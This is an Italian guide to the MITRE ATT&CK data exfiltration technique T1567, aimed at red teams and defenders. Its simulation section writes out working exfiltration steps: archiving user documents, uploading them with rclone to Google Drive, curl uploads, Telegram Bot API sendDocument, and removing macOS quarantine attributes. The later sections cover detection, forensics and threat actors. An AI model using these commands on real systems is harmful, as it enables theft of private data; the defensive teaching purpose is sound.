Esfiltrazione via Servizi Web: Exfiltration Over Web Service (T1567)

In un ingaggio red team la simulazione di T1567 richiede di replicare pattern realistici senza esporre dati reali del cliente. La preparazione prevede la creazione di account controllati sui servizi target — tipicamente un tenant Google Workspace o Dropbox di laboratorio — e la generazione di dataset sintetici che rispettino volume e tipologia dei dati sensibili in ambito.

Su Windows, uno scenario classico parte da PowerShell dopo un finto initial access. La compressione preliminare riduce il footprint di rete e simula il comportamento reale:

Compress-Archive -Path C:\Users\target\Documents\ -DestinationPath C:\Temp\payload.zip*

Per l'upload verso Google Drive si utilizza rclone (open source), tool ampiamente adottato anche da threat actor reali come osservato in incidenti ransomware. Dopo aver configurato un remote con rclone config, il comando operativo è:

rclone copy C:\Temp\payload.zip gdrive:exfil/ --transfers 4

Su Linux, la catena tipica sfrutta utility native. Un pattern realistico usato anche da APT è l'archiviazione con tar czf /tmp/data.tgz /home/user/docs seguita da upload via curl verso API pubbliche. Per simulare l'abuso di Telegram Bot API (pattern osservato in Magic Hound, InvisibleFerret e Contagious Interview), si crea un bot di test tramite BotFather e si esfiltra con una POST multipart su api.telegram.org/bot/sendDocument, senza mai includere URL reali nei report ma descrivendo il pattern.

Su macOS, l'operatore può sfruttare curl già presente nel sistema o osascript per invocare azioni AppleScript che caricano file su iCloud Drive. Attenzione a rimuovere l'attributo di quarantena con xattr -d com.apple.quarantine sui file dropped, tecnica osservata in campagne reali.

Su ESXi, scenario emergente in operazioni ransomware, l'attaccante con accesso alla shell può usare wget o curl dalla console per caricare snapshot dei datastore. Il tool ngrok (freemium) merita menzione come pivot: consente di esporre servizi interni per esfiltrazione tunnelizzata.

Strumenti utili nel lab red team: rclone (open source), MEGAcmd (open source), Sharp-Suite/SharpExfiltrate (open source), ngrok (freemium), Cloudflared (open source) per simulare il pattern APT41 osservato in campagna C0017. Regola d'oro: ogni upload deve avvenire verso tenant controllati dal team, mai verso servizi pubblici anonimi come file.io o anonymfiles.com che potrebbero esporre dati del cliente.

La detection di T1567 si fonda sulla correlazione tra comportamento di processo e pattern di rete, poiché il singolo indicatore isolato — una connessione HTTPS verso Dropbox — è indistinguibile dal traffico legittimo. La strategia vincente è baseline-driven: profilare cosa è normale per utente, ruolo e dipartimento, poi cercare deviazioni.

Su Windows (detection AN1511), la telemetria chiave arriva da Sysmon (open source, Microsoft). L'EventID 1 per process creation e l'EventID 3 per network connection permettono di identificare processi che non dovrebbero mai comunicare in uscita — Word, Excel, Notepad, PowerShell figlio di Office — che aprono connessioni verso domini di servizi cloud. La query di correlazione tipica in SIEM cerca EventID 3 con destinazione in una lista curata (drive.google.com, dropbox.com, api.telegram.org, mega.nz) originata da processi non attesi. Il WinEventLog:Security EventID 4688 con command line auditing abilitato aggiunge contesto sui parametri.

Su Linux (AN1512), il framework auditd cattura EXECVE e SYSCALL: regole mirate su curl, wget, python3 con argomenti che contengono endpoint noti generano telemetria utile. La correlazione decisiva è tra tar/zip seguito entro pochi secondi da un processo di rete verso destinazioni esterne con payload superiore a soglia (es. 50 MB per sessione).

Su macOS (AN1513), lo unified log espone tramite log stream le connessioni di rete e le manipolazioni xattr per rimuovere quarantena — sequenza sospetta se seguita da upload TLS.

Ambiente SaaS (AN1514): il monitoraggio dei log unificati di Microsoft 365 e Google Workspace è essenziale. Cerca elevata frequenza di operazioni FileUploaded, FileDownloaded, FileCopied fuori orario o da IP anomali. Su Box, gli eventi UPLOAD massivi da account con ruoli non abituati al bulk transfer sono un red flag.

Su ESXi (AN1515), processi vmx o hostd che aprono sessioni HTTPS esterne sono anomali in configurazioni standard e vanno segnalati.

Controlli preventivi allineati a M1021 (Restrict Web-Based Content) e M1057 (DLP): proxy con TLS inspection e categorizzazione — soluzioni come Zscaler, Netskope, Cloudflare Gateway (tutti a pagamento) — bloccano upload verso categorie File Sharing non autorizzate. DLP di rete e endpoint (Microsoft Purview, Symantec DLP, entrambi a pagamento) applicano policy su pattern PII.

I falsi positivi principali arrivano da sync legittimi di OneDrive/Drive personali, backup automatici e utenti marketing che caricano asset su piattaforme di sharing. La tuning richiede whitelist per ruolo e soglie volumetriche differenziate.

L'analisi forense di un incidente T1567 combina artefatti endpoint, log di rete e telemetria SaaS lato provider. La sfida principale è ricostruire cosa è stato esfiltrato quando il payload è cifrato e il destinatario è un servizio cloud terzo.

Su Windows, la timeline parte da Prefetch (C:\Windows\Prefetch) per identificare esecuzioni di tool come rclone.exe, megacmd.exe, curl.exe o powershell.exe. ShimCache e Amcache.hve (in C:\Windows\AppCompat\Programs) confermano presenza ed esecuzione di binari anche dopo cancellazione. Le UserAssist in NTUSER.DAT registrano lanci interattivi. Se Sysmon era attivo, gli EventID 1, 3, 11 correlati ricostruiscono la sequenza compressione → connessione → creazione archivio. I BITS logs (Microsoft-Windows-Bits-Client/Operational) rivelano upload eseguiti tramite bitsadmin o API BITS, tecnica evasiva documentata. Il file %APPDATA%\rclone\rclone.conf è oro puro: contiene remote configurati, token OAuth e bucket target — spesso lasciato in place dagli attaccanti frettolosi.

Su Linux, l'analisi si concentra su ~/.bash_history, log auditd archiviati in /var/log/audit/, e file di configurazione in ~/.config/rclone/ o ~/.megaCmd/. Il tool plaso/log2timeline (open source) aggrega timestamp da filesystem, log e artefatti applicativi in un supertimeline analizzabile con Timesketch (open source). Cerca sequenze di open() su directory sensibili seguite da connect() verso IP di CDN cloud.

Su macOS, lo unified log interrogabile con log show --predicate fornisce trace di NSURLSession e connessioni di rete. Il KnowledgeC.db (~/Library/Application Support/Knowledge/) e QuarantineEventsV2 aggiungono contesto su applicazioni utilizzate e file downloadati/modificati.

Lato SaaS, la richiesta di preservation ai provider è cruciale. Microsoft 365 Unified Audit Log conserva eventi FileUploaded, FileAccessed, MailItemsAccessed con IP sorgente e user agent. Google Workspace Admin Audit e Drive Audit espongono API calls con timestamp e file ID. Su Salesforce — rilevante per la campagna C0059 (Salesforce Data Exfiltration) dove UNC6040 ha usato Data Loader per esfiltrare via API — i log EventLogFile tracciano BulkApi, RestApi e ReportExport.

Casi documentati arricchiscono il playbook: APT41 in C0017 ha instradato esfiltrazione tramite servizi Cloudflare per mascherare la destinazione finale, tecnica che complica la geolocalizzazione degli endpoint C2. APT28 nella Nearest Neighbor Campaign (C0051) ha usato Google Drive come dead drop dopo pivot Wi-Fi. Exbyte, tool ransomware, punta preferenzialmente a Mega. La correlazione tra artefatti locali (config file, history) e log del provider chiude il cerchio investigativo.

L'esfiltrazione via servizi web è trasversale per motivazione, geografia e sofisticazione: dallo spionaggio statuale al ransomware al fraud, i gruppi convergono su questa tecnica per ragioni economiche e operative.

APT28 (G0007), attribuito al GRU russo, ha integrato Google Drive come canale di esfiltrazione nella Nearest Neighbor Campaign (C0051), operazione condotta da febbraio 2022 a novembre 2024 contro organizzazioni con expertise sull'Ucraina. La campagna è notevole per il pivot fisico via Wi-Fi da organizzazioni vicine al target, ma l'uso di Google Drive come dead drop dimostra la maturità del gruppo nel mimetizzare traffico esfiltrativo dietro servizi cloud americani già autorizzati nei perimetri delle vittime. La combinazione di zero-day (CVE-2022-38028) e living-off-the-land conferma la disciplina operativa.

Magic Hound (G0059), gruppo iraniano legato all'IRGC, ha adottato l'API Telegram con il metodo sendMessage per esfiltrare dati da dispositivi compromessi. La scelta di Telegram è tipica di operatori mediorientali per la disponibilità di bot API gratuite, la resilienza dell'infrastruttura Telegram alla takedown e la possibilità di controllo remoto tramite chat. Lo stesso pattern è replicato da Contagious Interview (G1052), operazione nordcoreana che sfrutta finti colloqui di lavoro per distribuire malware come InvisibleFerret (S1245), il quale usa bot Telegram con token embedded per l'upload di credenziali e wallet crypto.

BlackByte (G1043), ransomware group emerso nel 2021, adotta un approccio più opportunistico usando servizi di file sharing anonimo come anonymfiles.com e file.io. La scelta riflette la logica double-extortion: velocità di upload, assenza di autenticazione e link condivisibili immediatamente per pressione estorsiva.

La campagna C0017 di APT41 (maggio 2021 – febbraio 2022), che ha compromesso almeno sei reti governative statali USA, ha usato Cloudflare come canale di esfiltrazione mimetizzando il traffico dietro una CDN reputata. La Salesforce Data Exfiltration Campaign (C0059), con UNC6040 e UNC6240 (collegati al collettivo The Com), rappresenta un'evoluzione: esfiltrazione via API SaaS legittime usando Salesforce Data Loader, tool ufficiale, dopo compromissione tramite vishing. Il pattern anticipa una tendenza: sfruttare interfacce enterprise progettate per bulk data movement rende la detection quasi impossibile senza baselining comportamentale.

A livello di tooling, si osserva convergenza su ngrok (S0508) per tunneling, malware modulari come DropBook (S0547) e AppleSeed (S0622) — quest'ultimo associato a gruppi nordcoreani — e strumenti mirati SaaS come SampleCheck5000 (S1168) e OilCheck (S1171) che abusano rispettivamente di Exchange Web Services e Outlook Office 365. Exbyte (S1179) esfiltra verso Mega ed è associato a operazioni ransomware BlackByte. Il trend prevalente è duplice: da un lato commodity services (Telegram, Mega, file.io) per operatori a bassa sofisticazione o extortion, dall'altro API enterprise (Salesforce, Exchange, Google Workspace) per attori APT che cercano stealth di lungo periodo.

MITRE ATT&CK T1567 (Exfiltration Over Web Service), tattica TA0010. Gruppi G0007, G0059, G1043, G1052. Software S0508, S0547, S0622, S1168, S1171, S1179, S1245. Campagne C0017, C0051, C0059. Mitigazioni M1021, M1057. Detection strategy DET0548 (AN1511-AN1515). MITRE D3FEND per mapping difensivo. Integrazioni da conoscenza professionale su tool forensi e di detection (Sysmon, auditd, plaso, rclone, Zscaler, Netskope, Microsoft Purview) con verifica di disponibilità e modello di licenza.